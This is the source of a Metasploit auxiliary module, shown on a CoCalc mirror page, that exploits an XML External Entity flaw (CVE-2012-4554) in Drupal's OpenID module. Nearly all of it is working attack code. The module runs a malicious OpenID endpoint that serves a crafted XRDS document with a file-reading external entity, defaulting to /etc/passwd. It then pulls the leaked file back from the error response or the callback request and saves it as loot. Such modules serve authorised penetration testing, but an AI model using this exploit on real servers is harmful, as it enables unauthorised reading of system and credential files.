CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

CoCalc provides the best real-time collaborative environment for Jupyter Notebooks, LaTeX documents, and SageMath, scalable from individual users to large groups and classes!

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/auxiliary/gather/drupal_openid_xxe.rb
Views: 1904
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Auxiliary
7
include Msf::Exploit::Remote::HttpClient
8
include Msf::Exploit::Remote::HttpServer::HTML
9
include REXML
10
11
def initialize(info = {})
12
super(update_info(info,
13
'Name' => 'Drupal OpenID External Entity Injection',
14
'Description' => %q{
15
This module abuses an XML External Entity Injection
16
vulnerability on the OpenID module from Drupal. The vulnerability exists
17
in the parsing of a malformed XRDS file coming from a malicious OpenID
18
endpoint. This module has been tested successfully on Drupal 7.15 and
19
7.2 with the OpenID module enabled.
20
},
21
'License' => MSF_LICENSE,
22
'Author' =>
23
[
24
'Reginaldo Silva', # Vulnerability discovery
25
'juan vazquez' # Metasploit module
26
],
27
'References' =>
28
[
29
[ 'CVE', '2012-4554' ],
30
[ 'OSVDB', '86429' ],
31
[ 'BID', '56103' ],
32
[ 'URL', 'https://drupal.org/node/1815912' ],
33
[ 'URL', 'https://github.com/drupal/drupal/commit/b9127101ffeca819e74a03fa9f5a48d026c562e5' ],
34
[ 'URL', 'https://www.ubercomp.com/posts/2014-01-16_facebook_remote_code_execution' ]
35
],
36
'DisclosureDate' => '2012-10-17'
37
))
38
39
register_options(
40
[
41
OptString.new('TARGETURI', [ true, "Base Drupal directory path", '/drupal']),
42
OptString.new('FILEPATH', [true, "The filepath to read on the server", "/etc/passwd"])
43
])
44
45
end
46
47
def xrds_file
48
element_entity = <<-EOF
49
<!ELEMENT URI ANY>
50
<!ENTITY xxe SYSTEM "file://#{datastore['FILEPATH']}">
51
EOF
52
53
xml = Document.new
54
55
xml.add(DocType.new('foo', "[ #{element_entity} ]"))
56
57
xml.add_element(
58
"xrds:XRDS",
59
{
60
'xmlns:xrds' => "xri://$xrds",
61
'xmlns' => "xri://$xrd*($v*2.0)",
62
'xmlns:openid' => "http://openid.net/xmlns/1.0",
63
})
64
65
xrd = xml.root.add_element("XRD")
66
67
xrd.add_element(
68
"Status",
69
{
70
"cid" => "verified"
71
}
72
)
73
provider = xrd.add_element("ProviderID")
74
provider.text = "xri://@"
75
76
canonical = xrd.add_element("CanonicalID")
77
canonical.text = "http://example.com/user"
78
79
service = xrd.add_element("Service")
80
81
type_one = service.add_element("Type")
82
type_one.text = "http://specs.openid.net/auth/2.0/signon"
83
84
type_two = service.add_element("Type")
85
type_two.text = "http://openid.net/srv/ax/1.0"
86
87
uri = service.add_element("URI")
88
uri.text = "METASPLOIT"
89
90
local_id = service.add_element("LocalID")
91
local_id.text = "http://example.com/xrds"
92
93
return xml.to_s.gsub(/METASPLOIT/, "#{get_uri}/#{@prefix}/&xxe;/#{@suffix}") # To avoid html encoding
94
end
95
96
def check
97
signature = Rex::Text.rand_text_alpha(5 + rand(5))
98
res = send_openid_auth(signature)
99
100
unless res
101
vprint_status("Connection timed out")
102
return Exploit::CheckCode::Unknown
103
end
104
105
if drupal_with_openid?(res, signature)
106
return Exploit::CheckCode::Detected
107
end
108
109
if generated_with_drupal?(res)
110
return Exploit::CheckCode::Safe
111
end
112
113
return Exploit::CheckCode::Unknown
114
end
115
116
def run
117
@prefix = Rex::Text.rand_text_alpha(4 + rand(4))
118
@suffix = Rex::Text.rand_text_alpha(4 + rand(4))
119
exploit
120
end
121
122
def primer
123
res = send_openid_auth(get_uri)
124
125
if res.nil?
126
# nothing to do here...
127
service.stop
128
return
129
end
130
131
unless res.code == 500
132
print_warning("Unexpected answer, trying to parse anyway...")
133
end
134
135
error_loot = parse_loot(res.body)
136
137
# Check if file was retrieved on the drupal answer
138
# Better results, because there isn't URL encoding,
139
# plus probably allows to retrieve longer files.
140
print_status("Searching loot on the Drupal answer...")
141
unless loot?(error_loot)
142
# Check if file was leaked to the fake OpenID endpoint
143
# Contents are probably URL encoded, plus probably long
144
# files aren't full, but something is something :-)
145
print_status("Searching loot on HTTP query...")
146
loot?(@http_loot)
147
end
148
149
# stop the service so the auxiliary module ends
150
service.stop
151
end
152
153
154
def on_request_uri(cli, request)
155
if request.uri =~ /#{@prefix}/
156
vprint_status("Signature found, parsing file...")
157
@http_loot = parse_loot(request.uri)
158
return
159
end
160
161
print_status("Sending XRDS...")
162
send_response_html(cli, xrds_file, { 'Content-Type' => 'application/xrds+xml' })
163
end
164
165
def send_openid_auth(identifier)
166
res = send_request_cgi({
167
'uri' => normalize_uri(target_uri.to_s, "/"),
168
'method' => 'POST',
169
'vars_get' => {
170
"q" => "node",
171
"destination" => "node"
172
},
173
'vars_post' => {
174
"openid_identifier" => identifier,
175
"name" => "",
176
"pass" => "",
177
"form_id" => "user_login_block",
178
"op" => "Log in"
179
}
180
})
181
182
return res
183
end
184
185
def store(data)
186
path = store_loot("drupal.file", "text/plain", rhost, data, datastore['FILEPATH'])
187
print_good("File found and saved to path: #{path}")
188
end
189
190
def parse_loot(data)
191
return nil if data.blank?
192
193
# Full file found
194
if data =~ /#{@prefix}\/(.*)\/#{@suffix}/m
195
return $1
196
end
197
198
# Partial file found
199
if data =~ /#{@prefix}\/(.*)/m
200
return $1
201
end
202
203
return nil
204
end
205
206
def loot?(data)
207
return false if data.blank?
208
store(data)
209
return true
210
end
211
212
def drupal_with_openid?(http_response, signature)
213
return false if http_response.blank?
214
return false unless http_response.code == 200
215
return false unless http_response.body =~ /openid_identifier.*#{signature}/
216
return true
217
end
218
219
def generated_with_drupal?(http_response)
220
return false if http_response.blank?
221
return true if http_response.headers['X-Generator'] and http_response.headers['X-Generator'] =~ /Drupal/
222
return true if http_response.body and http_response.body.to_s =~ /meta.*Generator.*Drupal/
223
return false
224
end
225
226
227
end
228
229
230